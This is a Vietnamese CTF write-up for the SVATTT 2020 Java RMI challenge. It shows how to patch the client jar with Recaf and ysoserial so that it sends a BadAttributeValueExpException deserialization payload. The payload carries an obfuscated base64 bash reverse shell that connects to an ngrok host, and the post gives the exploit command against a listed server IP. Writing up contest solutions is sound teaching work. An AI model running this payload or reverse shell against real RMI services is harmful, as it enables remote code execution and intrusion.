CTF-writeups icon indicating copy to clipboard operation
CTF-writeups copied to clipboard

SVATTT-Quals-2020: [Newbie] Java ascis_rmi_v1

Open vinhjaxt opened this issue 3 years ago • 0 comments

image

Đầu tiên, chúng ta tải các tools về

  • https://github.com/frohoff/ysoserial
  • https://github.com/Col-E/Recaf Sau khi tải về, thư mục challenge của ta có các file sau: image

Chạy recaf

java -jar recaf-2.12.0-J8-jar-with-dependencies.jar

  • Chọn File -> Load

  • Sau đó chọn tệp ascis_player.jar mà tác giả cung cấp: image

  • Chọn File -> Add library

  • Sau đó chọn tệp ascis_service1.jar mà tác giả cung cấp

  • Tương tự với tệp ysoserial-master-6eca5bc740-1.jar

Sửa class rmi/ASCISPlayer như sau

  • Click đúp chuột vào ASCISPlayer
  • Sửa với nội dung:
// Decompiled with: CFR 0.150
package rmi;

import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import rmi.ASCISInterf;
import rmi.Player;
import javax.management.BadAttributeValueExpException;
import ysoserial.payloads.util.Reflections;


public class ASCISPlayer {
    public static void main(String[] args) throws RemoteException, NotBoundException, NoSuchFieldException, IllegalAccessException {
        String serverIP = args[0];
        int serverPort = Integer.parseInt(args[1]);
        String name = args[2];
        Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
        ASCISInterf ascisInterf = (ASCISInterf)registry.lookup("ascis");
        Player pItem = new Player();
        BadAttributeValueExpException b = new BadAttributeValueExpException ("");
        try {
            Reflections.setFieldValue (pItem, "isAdmin", true);
            Reflections.setFieldValue (pItem, "logCommand", "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5hcC5uZ3Jvay5pby8xNzg5NiAwPiYxCg==}|{base64,-d}|{bash,-i}");
            Reflections.setFieldValue (b, "val", pItem);
        }catch(Exception e){}
        System.out.println(ascisInterf.login(b));
    }
}
  • Trong đó YmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5hcC5uZ3Jvay5pby8xNzg5NiAwPiYxCg== là base64 của câu lệnh bash reverse tcp (bash -i >& /dev/tcp/0.tcp.ap.ngrok.io/17896 0>&1)
  • Nhấn Ctrl + S để lưu lại
  • Chọn File -> Export program và lưu thành file player.jar

image

Exploit

  • Chạy câu lệnh: java -cp 'ascis_service1.jar:ysoserial-master-6eca5bc740-1.jar:player.jar' rmi.ASCISPlayer 207.148.75.135 1337 player1 image
  • Như vậy là thành công image image

Ngoài lề

Để trigger được method toString thì mình tìm trên ysoserial: https://github.com/frohoff/ysoserial/search?q=toString image Mình thấy được Payload Vaadin1 có sử dụng đến nó, cụ thể là class BadAttributeValueExpException. Từ đây, mình có thể trigger được toString và chạy được câu lệnh trên local. Theo mình đoán thì tác giả dùng alpine, và team mình đã test thử các lệnh như ping, nc, wget, curl,.. đều fail, từ đó gây mất nhiều thời gian. Hôm nay hỏi tác giả thì biết rằng server chạy ubuntu:latest và tác giả có quăng cho mình link để tham khảo reverse shell bằng bash với Runtime exec: https://github.com/welk1n/ReverseShell-Java

Về bài 2, tác giả có gợi ý hướng làm như sau: Tìm chain có thể dẫn tới rce

  1. Brute-force class bằng exception mà server trả về (các class có thể lấy trong ysoserial)
  2. Server sẽ trả về sai SerialUID, sử dụng reflect để chỉnh lại cho đúng

vinhjaxt avatar Nov 01 '20 17:11 vinhjaxt